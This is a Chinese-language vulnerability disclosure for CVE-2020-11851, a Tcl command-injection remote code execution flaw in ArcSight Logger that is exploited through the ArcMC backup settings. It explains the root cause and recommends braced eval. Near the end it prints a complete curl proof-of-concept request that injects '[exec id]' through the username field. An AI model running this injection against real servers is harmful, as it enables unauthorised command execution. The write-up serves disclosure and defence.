ArcSight Logger 远程代码执行漏洞(通过 ArcSight Management Center)
https://nvd.nist.gov/vuln/detail/CVE-2020-11851
漏洞背景ArcSight Logger 是一个全面的日志管理解决方案,通过统一和存储来自组织各处的机器数据日志,并支持对这些数据进行快速搜索和报告,从而减轻合规负担,并为安全专业人员提供更快速的取证调查能力。
ArcSight Management Center (ArcMC) 是一个集中式安全管理中心,通过单一界面管理大规模部署的 ArcSight 解决方案,例如 ArcSight Logger、ArcSight SmartConnectors(连接器)、ArcSight FlexConnectors 和 ArcSight Connector Appliance (ConApp)。
该漏洞可通过 ArcSight Management Center(版本:2.7.1.2065.0)的备份功能加以利用。此备份选项通过使用基于工具命令语言(Tcl)的 ArcSight Logger“expect”脚本工作。该漏洞允许攻击者执行任意 Tcl 命令。此漏洞影响 Micro Focus ArcSight Logger 产品,波及所有早于 7.1.1 的版本。
结论运行易受攻击软件的服务端可能被攻击者利用该 RCE 漏洞入侵,并成为攻击者进一步针对组织服务器发起攻击的跳板,最终导致严重破坏。此漏洞可能导致数据丢失、损坏或泄露给未授权方、问责性丧失或拒绝访问。
建议建议检查“expect”脚本的 Tcl 安全最佳实践。基本上,在 eval 中使用花括号是安全的,如下所示:
eval puts $exploit ;# vulnerable
eval "puts $exploit" ;# vulnerable
eval {puts $exploit} ;# safe
更多信息可在此处找到:https://wiki.tcl-lang.org/page/Injection+Attack
本节详细介绍可用于检测 ArcSight Logger 漏洞的命令注入向量。下文中的标题可用于重现攻击步骤。
探索易受攻击的备份选项在管理(administration)选项卡中,有一个备份选项。

如我们所见,我们可以使用 SCP 协议配置远程备份服务器。点击“保存”按钮后,我使用工具“pspy”对服务器进程进行了调试,该工具可从此处下载:https://github.com/DominicBreuker/pspy/releases
调试服务器与根本原因分析在保存备份配置后,我检测到应用程序使用 bash 脚本检查 SSH 服务器,如下所示(请看 PID 95427):

以下是用于说明的更详细命令(PID 95427):
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory
在解释“runexpect.sh”的逻辑之前,让我们先看看“runexpect.sh”和“scp.expect.dir.backup1”(expect 脚本)的内容。
以下是“runexpect.sh”的内容:
#!/bin/sh
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
下面是名为“scp.expect.dir.backup1”的 expect 脚本的内容:
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //Vulnerability begins here
expect "*(yes/no)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
如我们所见,“runexpect.sh”设置环境变量(LD_LIBRARY_PATH),然后通过名为“scp.expect.dir.backup1”的“expect”脚本执行“expect”二进制文件。这个“expect”脚本接收 4 个参数用于“ssh”命令。
实际漏洞始于名为“scp.expect.dir.backup1”的脚本的第 5 行。正如我们之前提到的,在 Tcl 脚本中,不带花括号的用户输入可能非常危险。
获取代码执行权限由于此代码执行漏洞完全是盲注式的,我使用了最简单的方式来演示执行。我使用工具“pspy”来调试进程,并通过发送恶意 HTTP 请求来说明任意代码执行。
以下是我希望“expect”脚本执行的逻辑:
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : this is argv1
id] : this is argv2
fakehostname : this is argv3
Expected behavior would be like this:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome
让我来解释如何实现这一点。如果我在相关 HTTP 请求的“field-username”参数中的“字符串”之间插入空格,由于它不验证参数数量,这些内容会被意外解析到“expect”脚本中,也就是说,我可以将 [exec 注入为端口号,将 id] 注入为用户名。通常,由于输入验证(其只应为数字),我无法注入相关 HTTP 请求的端口号参数。
在发送以下 HTTP 请求后,我成功执行了命令,并使用工具“pspy”打印了其输出。


以下是我用于利用该漏洞的相应 CURL 请求(请修改与会话相关的令牌和目标地址):
curl -i -s -k -X $'POST' \
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'